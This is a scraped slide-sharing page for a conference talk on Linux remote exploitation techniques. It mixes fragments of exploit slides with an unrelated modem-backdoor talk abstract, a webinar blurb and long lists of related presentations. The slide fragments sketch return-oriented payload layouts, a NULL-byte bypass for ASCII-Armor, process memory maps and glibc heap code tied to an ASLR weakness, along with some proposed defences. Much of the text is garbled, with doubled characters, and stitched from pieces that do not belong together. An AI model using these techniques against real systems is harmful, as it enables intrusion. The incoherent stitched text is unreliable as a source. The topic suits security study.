私達はかなり長い間、スパイ行為が国や政府、大企業にまで及んでいたことを見てきた。ネットワーク機器、電話、その他関連機器に数多くのバックドアが見つかり、メディアによって事件として報道された。 この講演では、大きな疑問となっている、モデム/ルーターのRTN、機器に見つかったバックドアについて説明する。その理由は、ベンダー情報がなく、だれが製造メーカーなのかといった情報もないというのに、市場での製造、販売、流通に少なくとも7企業が関わっていたからだ。しかも、その一部は全く現存していなかった。 これが、研究課題につながる質問へと私達を導いた:「私のモデムに誰がバックドアを仕掛けたのか?」 --- エワーソン・ギマラインス Ewerson Guimaraes Fumec大学でコンピューター・サイエンスの学位を取得したセキュリティ・アナリストであり、Epam Systemsの研究者でもある。脆弱性診断士として、Offensive Security(OSCP)、Elearn(WPT)から認定されており、ブラジルの情報セキュリティ/コンピューター雑誌「H4ck3r」と「GEEK」に論文が掲載されている。その上、IBM、McAfee、Skype、Technicolor、Tufin、TrendMicroなどといった大企業にて見つかった脆弱性や勧告を、SecurityFocusに投稿した。Metasploitフレームワーク・プロジェクトへのモジュールの開発に貢献。ミナスジェライス州最初のハッカープレース、BHackカンファレンスやArea31の設立者であり、現役のKali Linuxコミュニティコントリビューターである。

hardwarecode bluecb16
CrowdCasts Monthly: You Have an Adversary Problem
CrowdCasts Monthly: You Have an Adversary ProblemCrowdCasts Monthly: You Have an Adversary Problem
CrowdCasts Monthly: You Have an Adversary Problem

You Have an Adversary Problem. Who's Targeting You and Why? Nation-States, Hacktivists, Industrial Spies, and Organized Criminal Groups are attacking your enterprise on a daily basis. Their goals range from espionage for technology advancement and disruption of critical infrastructure to for-profit theft of trade secrets and supporting a political agenda. You no longer have a malware problem, you have an adversary problem, and you must incorporate an intelligence-driven approach to your security strategy. During this CrowdCast, you will learn how to: Incorporate Actionable Intelligence into your existing enterprise security infrastructure Quickly understand the capabilities and artifacts of targeted attacked tradecraft Gain insight into the motivations and intentions of targeted attackers Make informed decisions based off of specific threat intelligence

デデモモ
(http://youtu.be/LsgI-SALQJY)
デモ2
ペイロードの部分
big_buf[128]
user_email[50
]
user_name[50
]
ペイロード1
ペイロード2
ペイロード3
esp 0x118 を追加
esp 0x48 を追加
[&puts()] [&repeat code] [0x00049cf0]
0x00049cf0 => xf0x9cx04x00
ASCII-Armor が有効になったシステム
高位アドレス
NULL バイト処理回避用ペイロード
[&fprintf()] [dummy] [file pointer] [&“%c”] [0x00]
NULLバイト処理を回避するバイナリファイルはどうやってつくる?
0xffffff00 => x00xffxffxff
ご注意!
$ cat /proc/17680/maps
08048000-0804a000 r-xp 00000000 fd:01 266405 /home/wh1ant/server/server
0804a000-0804b000 r--p 00001000 fd:01 266405 /home/wh1ant/server/server
0804b000-0804c000 rw-p 00002000 fd:01 266405 /home/wh1ant/server/server
b7622000-b7623000 rw-p 00000000 00:00 0
b7623000-b77d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so
b77d3000-b77d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so
b77d5000-b77d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so
b77d6000-b77d9000 rw-p 00000000 00:00 0
b77dd000-b77df000 rw-p 00000000 00:00 0
b77df000-b77e0000 r-xp 00000000 00:00 0 [vdso]
b77e0000-b77ff000 r-xp 00000000 fd:01 1854 /usr/lib/ld-2.16.so
b77ff000-b7800000 r--p 0001e000 fd:01 1854 /usr/lib/ld-2.16.so
b7800000-b7801000 rw-p 0001f000 fd:01 1854 /usr/lib/ld-2.16.so
bf893000-bf8b4000 rw-p 00000000 00:00 0 [stack]
mm_struct -> vm_area_struct -> mm_base
0xb7801000 のアドレスが見える

Recommended for you

XSS再入門
XSS再入門XSS再入門
XSS再入門

XSSの初心者向け説明です。初心者向けだけど、きっちり理解したい方向け…

xss
インターネッツの繋がるしくみ(TCP/IP編) #sa_study
インターネッツの繋がるしくみ(TCP/IP編) #sa_studyインターネッツの繋がるしくみ(TCP/IP編) #sa_study
インターネッツの繋がるしくみ(TCP/IP編) #sa_study

第4回スタジオ・アルカナ社内勉強会のスライドです。 インターネッツの繋がる仕組みをネットワーク層からトランスポート層までをゆるやかに。

iptcpsa_study
第8回脆弱性診断入門
第8回脆弱性診断入門第8回脆弱性診断入門
第8回脆弱性診断入門

とっとるびー第8回

521 new_heap(size_t size, size_t top_pad)
...
552 /* allocates memory with size 0x200000 */
553 p1 = (char *)MMAP(0, HEAP_MAX_SIZE<<1, PROT_NONE, MAP_NORESERVE);
554 if(p1 != MAP_FAILED) {
555 p2 = (char *)(((unsigned long)p1 + (HEAP_MAX_SIZE-1))
556 & ~(HEAP_MAX_SIZE-1));
557 ul = p2 - p1; // line 555 ~ 557 is an offset from randomized address to 0xb73fffff
558 if (ul)
559 __munmap(p1, ul); // frees some memory allocations
560 else
561 aligned_heap_area = p2 + HEAP_MAX_SIZE;
562 __munmap(p2 + HEAP_MAX_SIZE, HEAP_MAX_SIZE - ul);
… /* enables read,write for size up to 0x21000 */
575 if(__mprotect(p2, size, PROT_READ|PROT_WRITE) != 0) {
576 __munmap(p2, HEAP_MAX_SIZE);
577 return 0;
578 }
579 h = (heap_info *)p2;
580 h->size = size;
581 h->mprotect_size = size;
どのように防ぐ? 1/4
ヒヒーーププASLR無無効効化化ココーードドをを除除去去!!
どのように防ぐ? 2/4
NULL パラメータチェック
#include <stdio.h>
#include <fcntl.h>
void open_test(int flags)
{
if(0xffff0000&flags)
{
printf("open_test() errorn");
return;
}
printf("open_test() calln");
}
int main(void)
{
open_test(O_WRONLY|O_CREAT); // open
open_test(0xffffff41); // open 失敗
open_test(0x00ffff41); // open 失敗
return 0;
}
open(), mmap(),
mprotect(), fputc(), etc…
どのように防ぐ? 3/4
if(strlen(mode)>3) // 変数の長さをチェック
{
printf(“fopen() errorn”); // 変数が長すぎる
return NULL;
}
switch (*mode)
{
case 'r':
…
break;
case 'w':
…
break;
case 'a':
…
break;
…
}
どのように防ぐ? 4/4
各々のアドレスにランダムにオフセットを割り振る
$ cat /proc/17680/maps
08048000-0804a000 r-xp 00000000 fd:01 266405 /home/wh1ant/server/server
0804a000-0804b000 r--p 00001000 fd:01 266405 /home/wh1ant/server/server
0804b000-0804c000 rw-p 00002000 fd:01 266405 /home/wh1ant/server/server
b7622000-b7623000 rw-p 00000000 00:00 0
b7723000-b78d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so
b78d3000-b78d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so
b78d5000-b78d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so
b78f6000-b78f9000 rw-p 00000000 00:00 0
b78fd000-b78ff000 rw-p 00000000 00:00 0
b78ff000-b7900000 r-xp 00000000 00:00 0 [vdso]
b7903000-b8822000 r-xp 00000000 fd:01 1854 /usr/lib/ld-2.16.so
b7922000-b7923000 r--p 0001e000 fd:01 1854 /usr/lib/ld-2.16.so
b7923000-b7924000 rw-p 0001f000 fd:01 1854 /usr/lib/ld-2.16.so
bf893000-bf8b4000 rw-p 00000000 00:00 0 [stack]

Recommended for you

ハッキング実演
ハッキング実演ハッキング実演
ハッキング実演

npca文化祭2013hacking

What is Metasepi?
What is Metasepi?What is Metasepi?
What is Metasepi?

http://metasepi.masterq.net/

haskellnetbsdjhc
Buffer overflow
Buffer overflowBuffer overflow
Buffer overflow

とっとるびー第9回の資料 基本的な事ばかり並べてみました。 詳細は、「HACKING:美しき策謀」や解説サイトを見た方が良いですよ!

ごご質質問問ををどどううぞぞ
ごご清清聴聴あありりががととうう
ごござざいいままししたた!!

More Related Content

What's hot

Local php-100828 2
Local php-100828 2Local php-100828 2
Local php-100828 2
Akio Ishida
 
超簡単! MySQLをWindowsにインストール
超簡単! MySQLをWindowsにインストール超簡単! MySQLをWindowsにインストール
超簡単! MySQLをWindowsにインストール
Shin Tanigawa
 
MySQLerの7つ道具 plus
MySQLerの7つ道具 plusMySQLerの7つ道具 plus
MySQLerの7つ道具 plus
yoku0825
 
Synthesijer hls 20150116
Synthesijer hls 20150116Synthesijer hls 20150116
Synthesijer hls 20150116
Takefumi MIYOSHI
 
雑なMySQLパフォーマンスチューニング
雑なMySQLパフォーマンスチューニング雑なMySQLパフォーマンスチューニング
雑なMySQLパフォーマンスチューニング
yoku0825
 
超簡単!SubversionとTortoiseSVN入門(操作編1)
超簡単!SubversionとTortoiseSVN入門(操作編1)超簡単!SubversionとTortoiseSVN入門(操作編1)
超簡単!SubversionとTortoiseSVN入門(操作編1)
Shin Tanigawa
 
シェル入門
シェル入門シェル入門
シェル入門
ina job
 
/etc/network/interfaces について
/etc/network/interfaces について/etc/network/interfaces について
/etc/network/interfaces について
Kazuhiro Nishiyama
 
イルカさんチームからゾウさんチームに教えたいMySQLレプリケーション
イルカさんチームからゾウさんチームに教えたいMySQLレプリケーションイルカさんチームからゾウさんチームに教えたいMySQLレプリケーション
イルカさんチームからゾウさんチームに教えたいMySQLレプリケーション
yoku0825
 
Gossip事始め
Gossip事始めGossip事始め
Gossip事始め
Kazutaka Tomita
 
位置情報を使ったサービス「スマポ」をPostgreSQLで作ってみた db tech showcase 2013 Tokyo
位置情報を使ったサービス「スマポ」をPostgreSQLで作ってみた db tech showcase 2013 Tokyo位置情報を使ったサービス「スマポ」をPostgreSQLで作ってみた db tech showcase 2013 Tokyo
位置情報を使ったサービス「スマポ」をPostgreSQLで作ってみた db tech showcase 2013 Tokyo
Yoshiyuki Asaba
 
【技術解説4】assertion failureとuse after-free
【技術解説4】assertion failureとuse after-free【技術解説4】assertion failureとuse after-free
【技術解説4】assertion failureとuse after-free
Ruo Ando
 
Android デバッグ小ネタ
Android デバッグ小ネタAndroid デバッグ小ネタ
Android デバッグ小ネタ
l_b__
 
ECMAScript 6 Features(PDF 版)
ECMAScript 6 Features(PDF 版)ECMAScript 6 Features(PDF 版)
ECMAScript 6 Features(PDF 版)
taskie
 
Filippo, plain simple reality of entropy ja
Filippo, plain simple reality of entropy jaFilippo, plain simple reality of entropy ja
Filippo, plain simple reality of entropy ja
PacSecJP
 
trueコマンドに0以外の終了コードをはかせる方法
trueコマンドに0以外の終了コードをはかせる方法trueコマンドに0以外の終了コードをはかせる方法
trueコマンドに0以外の終了コードをはかせる方法
mutz0623
 
片手間MySQLチューニング戦略
片手間MySQLチューニング戦略片手間MySQLチューニング戦略
片手間MySQLチューニング戦略
yoku0825
 

What's hot (20)

Local php-100828 2
Local php-100828 2Local php-100828 2
Local php-100828 2
 
超簡単! MySQLをWindowsにインストール
超簡単! MySQLをWindowsにインストール超簡単! MySQLをWindowsにインストール
超簡単! MySQLをWindowsにインストール
 
MySQLerの7つ道具 plus
MySQLerの7つ道具 plusMySQLerの7つ道具 plus
MySQLerの7つ道具 plus
 
Synthesijer hls 20150116
Synthesijer hls 20150116Synthesijer hls 20150116
Synthesijer hls 20150116
 
雑なMySQLパフォーマンスチューニング
雑なMySQLパフォーマンスチューニング雑なMySQLパフォーマンスチューニング
雑なMySQLパフォーマンスチューニング
 
01 php7
01   php701   php7
01 php7
 
超簡単!SubversionとTortoiseSVN入門(操作編1)
超簡単!SubversionとTortoiseSVN入門(操作編1)超簡単!SubversionとTortoiseSVN入門(操作編1)
超簡単!SubversionとTortoiseSVN入門(操作編1)
 
シェル入門
シェル入門シェル入門
シェル入門
 
/etc/network/interfaces について
/etc/network/interfaces について/etc/network/interfaces について
/etc/network/interfaces について
 
イルカさんチームからゾウさんチームに教えたいMySQLレプリケーション
イルカさんチームからゾウさんチームに教えたいMySQLレプリケーションイルカさんチームからゾウさんチームに教えたいMySQLレプリケーション
イルカさんチームからゾウさんチームに教えたいMySQLレプリケーション
 
Gossip事始め
Gossip事始めGossip事始め
Gossip事始め
 
位置情報を使ったサービス「スマポ」をPostgreSQLで作ってみた db tech showcase 2013 Tokyo
位置情報を使ったサービス「スマポ」をPostgreSQLで作ってみた db tech showcase 2013 Tokyo位置情報を使ったサービス「スマポ」をPostgreSQLで作ってみた db tech showcase 2013 Tokyo
位置情報を使ったサービス「スマポ」をPostgreSQLで作ってみた db tech showcase 2013 Tokyo
 
【技術解説4】assertion failureとuse after-free
【技術解説4】assertion failureとuse after-free【技術解説4】assertion failureとuse after-free
【技術解説4】assertion failureとuse after-free
 
Android デバッグ小ネタ
Android デバッグ小ネタAndroid デバッグ小ネタ
Android デバッグ小ネタ
 
ECMAScript 6 Features(PDF 版)
ECMAScript 6 Features(PDF 版)ECMAScript 6 Features(PDF 版)
ECMAScript 6 Features(PDF 版)
 
Ilstudy001_20110806
Ilstudy001_20110806Ilstudy001_20110806
Ilstudy001_20110806
 
Filippo, plain simple reality of entropy ja
Filippo, plain simple reality of entropy jaFilippo, plain simple reality of entropy ja
Filippo, plain simple reality of entropy ja
 
trueコマンドに0以外の終了コードをはかせる方法
trueコマンドに0以外の終了コードをはかせる方法trueコマンドに0以外の終了コードをはかせる方法
trueコマンドに0以外の終了コードをはかせる方法
 
片手間MySQLチューニング戦略
片手間MySQLチューニング戦略片手間MySQLチューニング戦略
片手間MySQLチューニング戦略
 
Memory sanitizer
Memory sanitizerMemory sanitizer
Memory sanitizer
 

Viewers also liked

韓国のサイバーセキュリティ人材資源への投資 by Seungjoo Gabriel Kim - CODE BLUE 2015
韓国のサイバーセキュリティ人材資源への投資 by Seungjoo Gabriel Kim - CODE BLUE 2015韓国のサイバーセキュリティ人材資源への投資 by Seungjoo Gabriel Kim - CODE BLUE 2015
韓国のサイバーセキュリティ人材資源への投資 by Seungjoo Gabriel Kim - CODE BLUE 2015
CODE BLUE
 
ハッカースペース徹底入門!正しい?THSのハ・ジ・メ・カ・タ 〜Geekと遊ぶ、電子工作からアイス作りまで〜
ハッカースペース徹底入門!正しい?THSのハ・ジ・メ・カ・タ 〜Geekと遊ぶ、電子工作からアイス作りまで〜ハッカースペース徹底入門!正しい?THSのハ・ジ・メ・カ・タ 〜Geekと遊ぶ、電子工作からアイス作りまで〜
ハッカースペース徹底入門!正しい?THSのハ・ジ・メ・カ・タ 〜Geekと遊ぶ、電子工作からアイス作りまで〜
Masataka Tsukamoto
 
[CB16] (物理的に分離された)エアギャップのセキュリティ:最先端の攻撃、分析、および軽減 by Mordechai Guri, Yisroel Mi...
[CB16] (物理的に分離された)エアギャップのセキュリティ:最先端の攻撃、分析、および軽減 by Mordechai Guri, Yisroel Mi...[CB16] (物理的に分離された)エアギャップのセキュリティ:最先端の攻撃、分析、および軽減 by Mordechai Guri, Yisroel Mi...
[CB16] (物理的に分離された)エアギャップのセキュリティ:最先端の攻撃、分析、および軽減 by Mordechai Guri, Yisroel Mi...
CODE BLUE
 
動的計画法入門(An introduction to Dynamic Programming)
動的計画法入門(An introduction to Dynamic Programming)動的計画法入門(An introduction to Dynamic Programming)
動的計画法入門(An introduction to Dynamic Programming)
kakira9618
 
hbstudy# 28 SELinux HandsOn 公開版
hbstudy# 28 SELinux HandsOn 公開版hbstudy# 28 SELinux HandsOn 公開版
hbstudy# 28 SELinux HandsOn 公開版
Hiroki Ishikawa
 
ネットワーク家電と脆弱性 by 堀部 千壽
ネットワーク家電と脆弱性 by 堀部 千壽ネットワーク家電と脆弱性 by 堀部 千壽
ネットワーク家電と脆弱性 by 堀部 千壽
CODE BLUE
 
マルウェア解析講座そのいち〜仮想環境下では暴れないけど質問ある?〜
マルウェア解析講座そのいち〜仮想環境下では暴れないけど質問ある?〜マルウェア解析講座そのいち〜仮想環境下では暴れないけど質問ある?〜
マルウェア解析講座そのいち〜仮想環境下では暴れないけど質問ある?〜
Saya Katafuchi
 
o-checker:悪性文書ファイル検知ツール~ファイルサイズからにじみ出る悪意 by 大坪 雄平
o-checker:悪性文書ファイル検知ツール~ファイルサイズからにじみ出る悪意 by 大坪 雄平o-checker:悪性文書ファイル検知ツール~ファイルサイズからにじみ出る悪意 by 大坪 雄平
o-checker:悪性文書ファイル検知ツール~ファイルサイズからにじみ出る悪意 by 大坪 雄平
CODE BLUE
 
Edomae 2015 - マルウェアを解析してみよう
Edomae 2015 - マルウェアを解析してみようEdomae 2015 - マルウェアを解析してみよう
Edomae 2015 - マルウェアを解析してみよう
Satoshi Mimura
 
クラウドセキュリティ
クラウドセキュリティクラウドセキュリティ
クラウドセキュリティ
softlayerjp
 
IDAの脆弱性とBug Bounty by 千田 雅明
IDAの脆弱性とBug Bounty by 千田 雅明IDAの脆弱性とBug Bounty by 千田 雅明
IDAの脆弱性とBug Bounty by 千田 雅明
CODE BLUE
 
[CB16] 私のモデムに誰がバックドアを仕掛けたのか? by Ewerson Guimaraes
[CB16] 私のモデムに誰がバックドアを仕掛けたのか? by Ewerson Guimaraes[CB16] 私のモデムに誰がバックドアを仕掛けたのか? by Ewerson Guimaraes
[CB16] 私のモデムに誰がバックドアを仕掛けたのか? by Ewerson Guimaraes
CODE BLUE
 
CrowdCasts Monthly: You Have an Adversary Problem
CrowdCasts Monthly: You Have an Adversary ProblemCrowdCasts Monthly: You Have an Adversary Problem
CrowdCasts Monthly: You Have an Adversary Problem
CrowdStrike
 
XSS再入門
XSS再入門XSS再入門
XSS再入門
Hiroshi Tokumaru
 
インターネッツの繋がるしくみ(TCP/IP編) #sa_study
インターネッツの繋がるしくみ(TCP/IP編) #sa_studyインターネッツの繋がるしくみ(TCP/IP編) #sa_study
インターネッツの繋がるしくみ(TCP/IP編) #sa_study
Shinichiro Yoshida
 
第8回脆弱性診断入門
第8回脆弱性診断入門第8回脆弱性診断入門
第8回脆弱性診断入門
ionis111
 
ハッキング実演
ハッキング実演ハッキング実演
ハッキング実演
Ken Ogura
 

Viewers also liked (17)

韓国のサイバーセキュリティ人材資源への投資 by Seungjoo Gabriel Kim - CODE BLUE 2015
韓国のサイバーセキュリティ人材資源への投資 by Seungjoo Gabriel Kim - CODE BLUE 2015韓国のサイバーセキュリティ人材資源への投資 by Seungjoo Gabriel Kim - CODE BLUE 2015
韓国のサイバーセキュリティ人材資源への投資 by Seungjoo Gabriel Kim - CODE BLUE 2015
 
ハッカースペース徹底入門!正しい?THSのハ・ジ・メ・カ・タ 〜Geekと遊ぶ、電子工作からアイス作りまで〜
ハッカースペース徹底入門!正しい?THSのハ・ジ・メ・カ・タ 〜Geekと遊ぶ、電子工作からアイス作りまで〜ハッカースペース徹底入門!正しい?THSのハ・ジ・メ・カ・タ 〜Geekと遊ぶ、電子工作からアイス作りまで〜
ハッカースペース徹底入門!正しい?THSのハ・ジ・メ・カ・タ 〜Geekと遊ぶ、電子工作からアイス作りまで〜
 
[CB16] (物理的に分離された)エアギャップのセキュリティ:最先端の攻撃、分析、および軽減 by Mordechai Guri, Yisroel Mi...
[CB16] (物理的に分離された)エアギャップのセキュリティ:最先端の攻撃、分析、および軽減 by Mordechai Guri, Yisroel Mi...[CB16] (物理的に分離された)エアギャップのセキュリティ:最先端の攻撃、分析、および軽減 by Mordechai Guri, Yisroel Mi...
[CB16] (物理的に分離された)エアギャップのセキュリティ:最先端の攻撃、分析、および軽減 by Mordechai Guri, Yisroel Mi...
 
動的計画法入門(An introduction to Dynamic Programming)
動的計画法入門(An introduction to Dynamic Programming)動的計画法入門(An introduction to Dynamic Programming)
動的計画法入門(An introduction to Dynamic Programming)
 
hbstudy# 28 SELinux HandsOn 公開版
hbstudy# 28 SELinux HandsOn 公開版hbstudy# 28 SELinux HandsOn 公開版
hbstudy# 28 SELinux HandsOn 公開版
 
ネットワーク家電と脆弱性 by 堀部 千壽
ネットワーク家電と脆弱性 by 堀部 千壽ネットワーク家電と脆弱性 by 堀部 千壽
ネットワーク家電と脆弱性 by 堀部 千壽
 
マルウェア解析講座そのいち〜仮想環境下では暴れないけど質問ある?〜
マルウェア解析講座そのいち〜仮想環境下では暴れないけど質問ある?〜マルウェア解析講座そのいち〜仮想環境下では暴れないけど質問ある?〜
マルウェア解析講座そのいち〜仮想環境下では暴れないけど質問ある?〜
 
o-checker:悪性文書ファイル検知ツール~ファイルサイズからにじみ出る悪意 by 大坪 雄平
o-checker:悪性文書ファイル検知ツール~ファイルサイズからにじみ出る悪意 by 大坪 雄平o-checker:悪性文書ファイル検知ツール~ファイルサイズからにじみ出る悪意 by 大坪 雄平
o-checker:悪性文書ファイル検知ツール~ファイルサイズからにじみ出る悪意 by 大坪 雄平
 
Edomae 2015 - マルウェアを解析してみよう
Edomae 2015 - マルウェアを解析してみようEdomae 2015 - マルウェアを解析してみよう
Edomae 2015 - マルウェアを解析してみよう
 
クラウドセキュリティ
クラウドセキュリティクラウドセキュリティ
クラウドセキュリティ
 
IDAの脆弱性とBug Bounty by 千田 雅明
IDAの脆弱性とBug Bounty by 千田 雅明IDAの脆弱性とBug Bounty by 千田 雅明
IDAの脆弱性とBug Bounty by 千田 雅明
 
[CB16] 私のモデムに誰がバックドアを仕掛けたのか? by Ewerson Guimaraes
[CB16] 私のモデムに誰がバックドアを仕掛けたのか? by Ewerson Guimaraes[CB16] 私のモデムに誰がバックドアを仕掛けたのか? by Ewerson Guimaraes
[CB16] 私のモデムに誰がバックドアを仕掛けたのか? by Ewerson Guimaraes
 
CrowdCasts Monthly: You Have an Adversary Problem
CrowdCasts Monthly: You Have an Adversary ProblemCrowdCasts Monthly: You Have an Adversary Problem
CrowdCasts Monthly: You Have an Adversary Problem
 
XSS再入門
XSS再入門XSS再入門
XSS再入門
 
インターネッツの繋がるしくみ(TCP/IP編) #sa_study
インターネッツの繋がるしくみ(TCP/IP編) #sa_studyインターネッツの繋がるしくみ(TCP/IP編) #sa_study
インターネッツの繋がるしくみ(TCP/IP編) #sa_study
 
第8回脆弱性診断入門
第8回脆弱性診断入門第8回脆弱性診断入門
第8回脆弱性診断入門
 
ハッキング実演
ハッキング実演ハッキング実演
ハッキング実演
 

Similar to リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

What is Metasepi?
What is Metasepi?What is Metasepi?
What is Metasepi?
Kiwamu Okabe
 
Buffer overflow
Buffer overflowBuffer overflow
Buffer overflow
ionis111
 
オープンソース開発と、 あるフレームバッファコンソールの話 ~名古屋応用編~
オープンソース開発と、あるフレームバッファコンソールの話~名古屋応用編~オープンソース開発と、あるフレームバッファコンソールの話~名古屋応用編~
オープンソース開発と、 あるフレームバッファコンソールの話 ~名古屋応用編~
nullnilaki
 
x86とコンテキストスイッチ
x86とコンテキストスイッチx86とコンテキストスイッチ
x86とコンテキストスイッチ
Masami Ichikawa
 
Altanative macro
Altanative macroAltanative macro
Altanative macro
Motohiro KOSAKI
 
zsh とわたし
zsh とわたし zsh とわたし
zsh とわたし
Toshihiko Shimokawa
 
仮想記憶入門 BSD-4.3を例題に
仮想記憶入門 BSD-4.3を例題に仮想記憶入門 BSD-4.3を例題に
仮想記憶入門 BSD-4.3を例題に
magoroku Yamamoto
 
Continuation with Boost.Context
Continuation with Boost.ContextContinuation with Boost.Context
Continuation with Boost.Context
Akira Takahashi
 
SSHパケットの復号ツールを作ろう_v1(Decrypt SSH .pcap File)
SSHパケットの復号ツールを作ろう_v1(Decrypt SSH .pcap File)SSHパケットの復号ツールを作ろう_v1(Decrypt SSH .pcap File)
SSHパケットの復号ツールを作ろう_v1(Decrypt SSH .pcap File)
Tetsuya Hasegawa
 
わかるコードを書くために For writing clean code
わかるコードを書くために For writing clean codeわかるコードを書くために For writing clean code
わかるコードを書くために For writing clean code
Eyes, JAPAN
 
HPC Phys-20201203
HPC Phys-20201203HPC Phys-20201203
HPC Phys-20201203
MITSUNARI Shigeo
 
Yomitanpm 6
Yomitanpm 6Yomitanpm 6
Yomitanpm 6
Kei Kamikawa
 
Openstack+Ceph設定ガイド
Openstack+Ceph設定ガイドOpenstack+Ceph設定ガイド
Openstack+Ceph設定ガイド
OSSラボ株式会社
 
ラズパイでデバイスドライバを作ってみた。
ラズパイでデバイスドライバを作ってみた。ラズパイでデバイスドライバを作ってみた。
ラズパイでデバイスドライバを作ってみた。
Kazuki Onishi
 
コンテナセキュリティにおける権限制御(OCHaCafe5 #3 Kubernetes のセキュリティ 発表資料)
コンテナセキュリティにおける権限制御(OCHaCafe5 #3 Kubernetes のセキュリティ 発表資料)コンテナセキュリティにおける権限制御(OCHaCafe5 #3 Kubernetes のセキュリティ 発表資料)
コンテナセキュリティにおける権限制御(OCHaCafe5 #3 Kubernetes のセキュリティ 発表資料)
NTT DATA Technology & Innovation
 
Stroustrup11章雑感
Stroustrup11章雑感Stroustrup11章雑感
Stroustrup11章雑感
31 00
 
しょしんしゃのためのhello world
しょしんしゃのためのhello worldしょしんしゃのためのhello world
しょしんしゃのためのhello world
wata2ki
 
実用裏方 Perl 入門
実用裏方 Perl 入門実用裏方 Perl 入門
実用裏方 Perl 入門
keroyonn
 
おまえらこのライブラリ使ってないの? m9 (2013-07)
おまえらこのライブラリ使ってないの? m9	(2013-07)おまえらこのライブラリ使ってないの? m9	(2013-07)
おまえらこのライブラリ使ってないの? m9 (2013-07)
Toru Furukawa
 
Maatkit で MySQL チューニング
Maatkit で MySQL チューニングMaatkit で MySQL チューニング
Maatkit で MySQL チューニング
Kensuke Nagae
 

Similar to リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー (20)

What is Metasepi?
What is Metasepi?What is Metasepi?
What is Metasepi?
 
Buffer overflow
Buffer overflowBuffer overflow
Buffer overflow
 
オープンソース開発と、 あるフレームバッファコンソールの話 ~名古屋応用編~
オープンソース開発と、あるフレームバッファコンソールの話~名古屋応用編~オープンソース開発と、あるフレームバッファコンソールの話~名古屋応用編~
オープンソース開発と、 あるフレームバッファコンソールの話 ~名古屋応用編~
 
x86とコンテキストスイッチ
x86とコンテキストスイッチx86とコンテキストスイッチ
x86とコンテキストスイッチ
 
Altanative macro
Altanative macroAltanative macro
Altanative macro
 
zsh とわたし
zsh とわたし zsh とわたし
zsh とわたし
 
仮想記憶入門 BSD-4.3を例題に
仮想記憶入門 BSD-4.3を例題に仮想記憶入門 BSD-4.3を例題に
仮想記憶入門 BSD-4.3を例題に
 
Continuation with Boost.Context
Continuation with Boost.ContextContinuation with Boost.Context
Continuation with Boost.Context
 
SSHパケットの復号ツールを作ろう_v1(Decrypt SSH .pcap File)
SSHパケットの復号ツールを作ろう_v1(Decrypt SSH .pcap File)SSHパケットの復号ツールを作ろう_v1(Decrypt SSH .pcap File)
SSHパケットの復号ツールを作ろう_v1(Decrypt SSH .pcap File)
 
わかるコードを書くために For writing clean code
わかるコードを書くために For writing clean codeわかるコードを書くために For writing clean code
わかるコードを書くために For writing clean code
 
HPC Phys-20201203
HPC Phys-20201203HPC Phys-20201203
HPC Phys-20201203
 
Yomitanpm 6
Yomitanpm 6Yomitanpm 6
Yomitanpm 6
 
Openstack+Ceph設定ガイド
Openstack+Ceph設定ガイドOpenstack+Ceph設定ガイド
Openstack+Ceph設定ガイド
 
ラズパイでデバイスドライバを作ってみた。
ラズパイでデバイスドライバを作ってみた。ラズパイでデバイスドライバを作ってみた。
ラズパイでデバイスドライバを作ってみた。
 
コンテナセキュリティにおける権限制御(OCHaCafe5 #3 Kubernetes のセキュリティ 発表資料)
コンテナセキュリティにおける権限制御(OCHaCafe5 #3 Kubernetes のセキュリティ 発表資料)コンテナセキュリティにおける権限制御(OCHaCafe5 #3 Kubernetes のセキュリティ 発表資料)
コンテナセキュリティにおける権限制御(OCHaCafe5 #3 Kubernetes のセキュリティ 発表資料)
 
Stroustrup11章雑感
Stroustrup11章雑感Stroustrup11章雑感
Stroustrup11章雑感
 
しょしんしゃのためのhello world
しょしんしゃのためのhello worldしょしんしゃのためのhello world
しょしんしゃのためのhello world
 
実用裏方 Perl 入門
実用裏方 Perl 入門実用裏方 Perl 入門
実用裏方 Perl 入門
 
おまえらこのライブラリ使ってないの? m9 (2013-07)
おまえらこのライブラリ使ってないの? m9	(2013-07)おまえらこのライブラリ使ってないの? m9	(2013-07)
おまえらこのライブラリ使ってないの? m9 (2013-07)
 
Maatkit で MySQL チューニング
Maatkit で MySQL チューニングMaatkit で MySQL チューニング
Maatkit で MySQL チューニング
 

More from CODE BLUE

[cb22] Hayabusa Threat Hunting and Fast Forensics in Windows environments fo...
[cb22] Hayabusa  Threat Hunting and Fast Forensics in Windows environments fo...[cb22] Hayabusa  Threat Hunting and Fast Forensics in Windows environments fo...
[cb22] Hayabusa Threat Hunting and Fast Forensics in Windows environments fo...
CODE BLUE
 
[cb22] Tales of 5G hacking by Karsten Nohl
[cb22] Tales of 5G hacking by Karsten Nohl[cb22] Tales of 5G hacking by Karsten Nohl
[cb22] Tales of 5G hacking by Karsten Nohl
CODE BLUE
 
[cb22] Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
[cb22]  Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...[cb22]  Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
[cb22] Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
CODE BLUE
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
CODE BLUE
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
CODE BLUE
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
